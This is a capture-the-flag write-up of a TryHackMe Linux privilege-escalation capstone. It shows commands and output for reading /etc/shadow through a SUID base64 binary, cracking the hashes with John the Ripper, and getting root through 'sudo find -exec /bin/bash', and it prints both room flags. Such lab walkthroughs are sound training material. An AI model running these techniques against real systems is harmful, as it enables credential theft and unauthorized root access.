



Linux Privilege Escalation - Capstone Challenge

Task 12 Capstone Challenge



By now you have a fairly good understanding of the main privilege escalation vectors on Linux and this challenge should be fairly easy.

Start Machine

You have gained SSH access to a large scientific facility. Try to elevate your privileges until you are Root. We designed this room to help you build a thorough methodology for Linux privilege escalation that will be very useful in exams such as OSCP and your penetration testing engagements.

Leave no privilege escalation vector unexplored, privilege escalation is often more an art than a science.

You can access the target machine over your browser or use the SSH credentials below.

- Username: leonard
- Password: Penny123

Title	IP Address	Expires
Linux Privesc Challenge	10.10.230.234	54m 59s



Add 1 hour

Terminate

SSH to Target Machine

Command: `ssh leonard@10.10.230.234`

```
(kali㉿kali)-[~]
$ ssh leonard@10.10.230.234
The authenticity of host '10.10.230.234 (10.10.230.234)' can't be established.
ED25519 key fingerprint is SHA256:1dMTd32PB7hStUUoiefpE+ckRSQl9B6tlu4mBNO2v4k.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:37: [hashed name]
  ~/.ssh/known_hosts:39: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.230.234' (ED25519) to the list of known hosts.
(leonard@10.10.230.234) Password:
Last login: Mon Jun  7 21:18:33 2021
[leonard@ip-10-10-230-234 ~]$
```

Enumeration

Enumerate valuable users

```
[leonard@ip-10-10-230-234 ~]$ ls -la /home
total 4
drwxr-xr-x.  5 root    root      50 Jun  7  2021 .
dr-xr-xr-x. 18 root    root     235 Jun  7  2021 ..
drwx-----.  7 leonard leonard  197 Jun  7  2021 leonard
drwx-----. 16 missy   missy  4096 Jun  7  2021 missy
drwx-----.  2 root    root     23 Jun  7  2021 rootflag
[leonard@ip-10-10-230-234 ~]$
```

Define target information

Command: `hostnamectl status`

```
[leonard@ip-10-10-230-234 ~]$ hostnamectl status
  Static hostname: localhost.localdomain
Transient hostname: ip-10-10-230-234
      Icon name: computer-vm
      Chassis: vm
      Machine ID: d543788e3137ee4bbeeb3c01683b087d
      Boot ID: 1ab05a18239e4ea1aa9b23356d5c6903
Virtualization: xen
Operating System: CentOS Linux 7 (Core)
      CPE OS Name: cpe:/o:centos:centos:7
      Kernel: Linux 3.10.0-1160.el7.x86_64
  Architecture: x86-64
[leonard@ip-10-10-230-234 ~]$
```

Find the `writeable files/directories` of user Leonard

▼ Method 1: using `echo $PATH`

```
[leonard@ip-10-10-230-234 ~]$ echo $PATH
/home/leonard/scripts:/home/leonard/perl5/bin:/usr/sue/sbin:/usr/sue/bin:/root/perl5/bin:/sbin:/bin:/usr/sbin:/usr/bin:/opt/puppetlabs/bin
[leonard@ip-10-10-230-234 ~]$
```

▼ Method 2: using `find`

```
[leonard@ip-10-10-230-234 ~]$ find / -writable 2>/dev/null | grep "leonard"
/var/spool/mail/leonard
/tmp/leonard
/home/leonard
/home/leonard/.mozilla
/home/leonard/.mozilla/extensions
/home/leonard/.mozilla/plugins
/home/leonard/.bash_logout
/home/leonard/.bash_profile
/home/leonard/.bashrc
/home/leonard/.emacs
/home/leonard/.kshrc
/home/leonard/.zshrc
/home/leonard/.cache
/home/leonard/.cache/abrt
/home/leonard/.cache/abrt/lastnotification
/home/leonard/.config
/home/leonard/.config/abrt
/home/leonard/.local
/home/leonard/.local/share
/home/leonard/perl5
/home/leonard/.bash_history
[leonard@ip-10-10-230-234 ~]$
```

Find files have SUID bit sets

Command: `find / -type f -perm -04000 2>/dev/null | grep "usr" | cut -d "/" -f 3,4`

Explain:

- `/` : find from the `/` directory
- `-type f` : specify the type of finding process as `file`
- `-perm` : define the permission of finding files
- `-04000` : equal to `-rwsr-xr-x`
- `2>/dev/null` : avoiding error `permission denied` for easier view because the current user is not `root`
- `grep "usr"` : filter only files contain `usr` characters

- `cut -d "/" -f 3,4` : separate file path with `/` characters and display the path from positions **3** and **4**

```
[leonard@ip-10-10-230-234 ~]$ find / -type f -perm -04000 2>/dev/null | grep "usr" | cut -d "/" -f 3,4
bin/base64
bin/ksu
bin/fusermount
bin/passwd
bin/gpasswd
bin/chage
bin/newgrp
bin/staprun
bin/chfn
bin/su
bin/chsh
bin/Xorg
bin/mount
bin/umount
bin/crontab
bin/pkexec
bin/at
bin/sudo
sbin/pam_timestamp_check
sbin/unix_chkpwd
sbin/usernetctl
sbin/userhelper
sbin/mount.nfs
lib/polkit-1
libexec/kde4
libexec/dbus-1
libexec/spice-gtk-x86_64
libexec/qemu-bridge-helper
libexec/sss
libexec/sss
libexec/sss
libexec/sss
libexec/abrt-action-install-debuginfo-to-abrt-cache
libexec/flatpak-bwrap
[leonard@ip-10-10-230-234 ~]$
```

Escalate Privilege 1

Read file `/etc/shadow` and `/etc/passwd`

Command:

```
/usr/bin/base64 /etc/shadow | /usr/bin/base64 | grep root
```

```
/usr/bin/base64 /etc/passwd | /usr/bin/base64 | grep root
```

```
/usr/bin/base64 /etc/shadow | /usr/bin/base64 | grep missy
```

```
/usr/bin/base64 /etc/shadow | /usr/bin/base64 | grep missy
```

```
[leonard@ip-10-10-230-234 ~]$ /usr/bin/base64 /etc/shadow | /usr/bin/base64 --decode | grep root
root:$6$DWBzMoiprTTJ4gbW$g0szmtfn3HYFQweUPpSUCgHXZLzVii5o6PM0Q2oMmaDD9oGUSxe1yvKbnYsaSYHrUEQXTjIwOW/yrz
V5HtIL51::0:99999:7:::
[leonard@ip-10-10-230-234 ~]$ /usr/bin/base64 /etc/shadow | /usr/bin/base64 --decode | grep root
root:$6$DWBzMoiprTTJ4gbW$g0szmtfn3HYFQweUPpSUCgHXZLzVii5o6PM0Q2oMmaDD9oGUSxe1yvKbnYsaSYHrUEQXTjIwOW/yrzV5HtIL51::0:99999:7:::
[leonard@ip-10-10-230-234 ~]$ /usr/bin/base64 /etc/passwd | /usr/bin/base64 --decode | grep root
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
[leonard@ip-10-10-230-234 ~]$ /usr/bin/base64 /etc/shadow | /usr/bin/base64 --decode | grep missy
missy:$6$Bj0LWE21$HwuDvV1iSiYSCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrLMLAQPAxfwaD2JCUypk4HaNzI3rPVqKHB/:18785:0:99999:7:::
[leonard@ip-10-10-230-234 ~]$ /usr/bin/base64 /etc/passwd | /usr/bin/base64 --decode | grep missy
missy:x:1001:1001::/home/missy:/bin/bash
[leonard@ip-10-10-230-234 ~]$
```

Crack the users credentials

1. Copy the above content to a file on attack machine

```
(kali@kali)-[~/TryHackMe/LinPriv/CapstoneChallenge]
$ cat passwd.txt shadow.txt
root:x:0:0:root:/root:/bin/bash
missy:x:1001:1001::/home/missy:/bin/bash
root:$6$DWBzMoiprTTJ4gbW$g0szmtfn3HYFQweUPpSUCgHXZLzVii5o6PM0Q2oMmaDD9oGUSxe1yvKbnYsaSYHrUEQXTjIwOW/yrz
missy:$6$Bj0LWE21$HwuDvV1iSiYSCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrLMLAQPAxfwaD2JCUypk4HaNzI3rPVqKHB/:18785:0:99999:7:::
```

2. Using `unshadow` for combining 2 creds in 1 file

```
(kali@kali)-[~/TryHackMe/LinPriv/CapstoneChallenge]
$ cat credsHash.txt
root:$6$DWBzMoiprTTJ4gbW$g0szmtfn3HYFQweUPpSUCgHXZLzVii5o6PM0Q2oMmaDD9oGUSxe1yvKbnYsaSYHrUEQXTjIwOW/yrzV5HtIL51:0:0:root:/root:/bin/bash
missy:$6$Bj0LWE21$HwuDvV1iSiYSCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrLMLAQPAxfwaD2JCUypk4HaNzI3rPVqKHB/:1001:1001::/home/missy:/bin/bash
```

3. Crack the password by `JohnTheRipper`

```
(kali@kali)-[~/TryHackMe/LinPriv/CapstoneChallenge]
$ john -w=/home/kali/Downloads/rockyou.txt credsHash.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1 (missy)
1g 0:00:06:49 13.69% (ETA: 18:35:36) 0.002440g/s 5261p/s 5270c/s 5270C/s Boumsong..Blah!!
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
```

It seems that the **root password** cannot be cracked 😞

Escalation Privilege 1 - Become Missy

Command: `su missy`

```
[leonard@ip-10-10-230-234 ~]$ su missy
Password:
[missy@ip-10-10-230-234 leonard]$
```

Read the flag1.txt

```
[missy@ip-10-10-230-234 home]$ ls missy/*
missy/Desktop:

missy/Documents:
flag1.txt

missy/Downloads:

missy/Music:

missy/perl5:

missy/Pictures:

missy/Public:

missy/Templates:

missy/Videos:
[missy@ip-10-10-230-234 home]$ cat flag1.txt
cat: flag1.txt: No such file or directory
[missy@ip-10-10-230-234 home]$ cat missy/flag1.txt
cat: missy/flag1.txt: No such file or directory
[missy@ip-10-10-230-234 home]$ cat missy/Documents/flag1.txt
THM-42828719920544
[missy@ip-10-10-230-234 home]$
```

Flag 1: THM-42828719920544

Escalate Privilege 2 - Become Root

Command: `sudo -l`

```
[missy@ip-10-10-230-234 home]$ sudo -l
Matching Defaults entries for missy on ip-10-10-230-234:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE K
LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User missy may run the following commands on ip-10-10-230-234:
(ALL) NOPASSWD: /usr/bin/find
[missy@ip-10-10-230-234 home]$
```

The `/usr/bin/find` can run by `sudo` with user **missy** without password

Get the exploit command to become root on <https://gtfobins.github.io/gtfobins/find/#sudo>

Command: `sudo find . -exec /bin/sh \; -quit`

```
[missy@ip-10-10-230-234 home]$ sudo find /home -exec /bin/bash \;
[root@ip-10-10-230-234 home]# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@ip-10-10-230-234 home]#
```

Read the flag2.txt

```
[root@ip-10-10-230-234 home]# ls
leonard missy rootflag
[root@ip-10-10-230-234 home]# ls rootflag
flag2.txt
[root@ip-10-10-230-234 home]# cat rootflag/flag2.txt
THM-168824782390238
[root@ip-10-10-230-234 home]#
```

Flag 2: THM-168824782390238